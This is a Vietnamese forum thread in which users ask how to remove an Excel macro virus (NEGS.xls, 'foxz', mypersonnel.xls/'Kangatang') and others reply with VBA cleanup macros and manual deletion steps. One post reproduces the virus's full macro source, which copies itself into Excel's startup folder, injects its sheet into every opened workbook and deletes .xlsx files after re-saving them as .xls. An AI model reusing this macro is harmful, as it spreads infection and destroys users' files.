Cách Xử Lý Virus NEGS.xls và Macro Foxz Trong Excel

Chào mọi người,

File excel của mình bị nhiễm virus NEGS và mã code foxz này gây lỗi data. Mình đã quét bằng BKAV tool và KIS nhưng không triệt để. Có cách nào loại bỏ code foxz gây lỗi này ko?
Xin cảm ơn!

Thử chạy code này rồi khởi động lại Excel xem thử hết không bạn.

Sub KillFoxz()
Dim WB As Workbook
On Error Resume Next
Application.DisplayAlerts = False
Application.EnableEvents = False
For Each WB In Workbooks
    WB.Sheets("foxz").Delete
Next
With Workbooks("NEGS.XLS")
    .ChangeFileAccess xlReadOnly
    Kill .FullName
    .Close False
End With
Application.EnableEvents = True
Application.DisplayAlerts = True
End Sub

Em đang bị dính 1 con Marco code no như thế nay

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled

'If ThisWorkbook.Path <> Application.Path & "XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "XLSTARTmypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "mypersonnel.xls"
    Windows(1).Visible = True
End If

Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True

End If
End Sub

Mong a/c hướng dẫn remove dùm em

Thử cách này xem:
Vào VBE cho chạy đoạn code sau:

Sub Test()
    MsgBox Application.StartupPath
End Sub

Nhìn xem đường dẫn trong đó là gì và Mở Explorer lên và tìm đến đường dẫn nhìn thấy trong Msgbox.
Đóng Excel lại và xóa file mypersonel.xls trong thư mục XLSTART. Khởi động lại Excel và xem thử còn bị không?

mình cũng bị mắc con virus mypersonnel.xls (kangantang) này. Dù đã xóa nó đi như các hướng dẫn bên trên nhưng nó vẫn quay lại sau 1 chút thời gian.
Và vấn đề nếu quét virus bằng KIS thì sẽ khiến cho file excel bị mất dữ liệu, đó là điều mình không mong muốn.
Rất mong mọi người trên diễn đàn này nếu biết có thể giúp đỡ hướng dẫn diệt con virus này và có thể giữ được giữ liệu.

Sub KillIt()
Application.DisplayAlerts = False
With Workbooks("NEGS.XLS")
    .ChangeFileAccess xlReadOnly
    Kill .FullName
    .Close False
End With
Application.DisplayAlerts = True
End Sub

Chạy code phát được luôn này. Thử xem thế nào

Khóa học SprinGO phù hợp

Thiết kế Tổng đãi ngộ (Total Rewards) theo khung SHRM

Khóa học “Thiết kế Tổng phần thưởng (Total Reward) chuẩn khung SHRM” giúp bạn nắm vững toàn bộ hệ thống đãi ngộ theo chuẩn...

Xem khóa học